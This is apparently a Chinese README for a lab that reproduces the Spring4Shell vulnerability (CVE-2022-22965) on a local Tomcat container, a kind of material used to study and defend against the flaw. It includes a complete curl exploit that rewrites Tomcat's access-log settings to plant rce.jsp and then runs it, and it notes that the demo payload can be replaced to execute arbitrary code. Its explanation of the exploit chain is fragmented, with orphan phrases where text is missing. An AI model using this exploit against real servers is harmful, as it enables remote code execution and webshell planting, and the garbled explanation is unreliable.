使用最小示例演示如何复现 CVE-2022-22965 Spring RCE。
docker-compose up --build
./exploits/run.sh
webapps/handling-form-submission-complete 目录下创建 rce.jsp 文件。在 Docker 中运行 Tomcat 服务器
docker run -p 8888:8080 --rm --interactive --tty --name vm1 tomcat:9.0
如需远程调试,可添加 -p 5005:5005 -e "JAVA_OPTS=-Xdebug -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005"
构建项目
./mvnw install
部署应用
docker cp target/handling-form-submission-complete.war vm1:/usr/local/tomcat/webapps
执行漏洞利用
curl -X POST \
-H "pre:<%" \
-H "post:;%>" \
-F 'class.module.classLoader.resources.context.parent.pipeline.first.pattern=%{pre}iSystem.out.println(123)%{post}i' \
-F 'class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp' \
-F 'class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/handling-form-submission-complete' \
-F 'class.module.classLoader.resources.context.parent.pipeline.first.prefix=rce' \
-F 'class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=' \
http://localhost:8888/handling-form-submission-complete/greeting
该漏洞利用将在 Web 服务器的 webapps/handling-form-submission-complete 目录下创建 rce.jsp 文件。
使用该漏洞
curl http://localhost:8888/handling-form-submission-complete/rce.jsp
现在你将在容器终端中看到 123。将 System.out.println(123) 替换为你的 payload 即可执行任意代码。
GreetingController 处理 /greeting 端点的 POST 请求,并将表单字段绑定到 Greeting 对象。user.info.firstname)。请参阅 AbstractNestablePropertyAccessor 以获取参考。Greeting 类有两个字段 id 和 content,但实际上它也有对 Class 对象的引用。我们可以使用 class.module.classLoader 作为表单数据键来访问类加载器。module 属性。Greeting 类通过嵌套引用链可达的类的公共属性。仅此而已。在大多数情况下,这甚至不危险,因为即使从 class.module.classLoader. 也无法获得具有公共字段的类。jsp 文件。由于 Tomcat 会自动执行 jsp 文件,我们可以在浏览器中访问它并最终执行 payload。现在就是 RCE(远程代码执行)了。该漏洞利用仅适用于 Tomcat,因为它具有特殊的类加载器。尽管类似的引用链也可能存在于其他 Web 应用服务器上,但目前尚未轻易发现。
该漏洞利用需要 Java 9 或更高版本,因为 module 属性是在 Java 9 中引入的。